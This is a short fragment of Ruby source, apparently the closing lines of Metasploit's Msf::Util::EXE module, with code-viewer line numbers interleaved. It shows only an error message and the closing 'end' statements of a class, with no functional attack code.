raise 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
824
end
825
res
826
end
827
end
828
class << self
829
include ClassMethods
830
end
831
end
832
833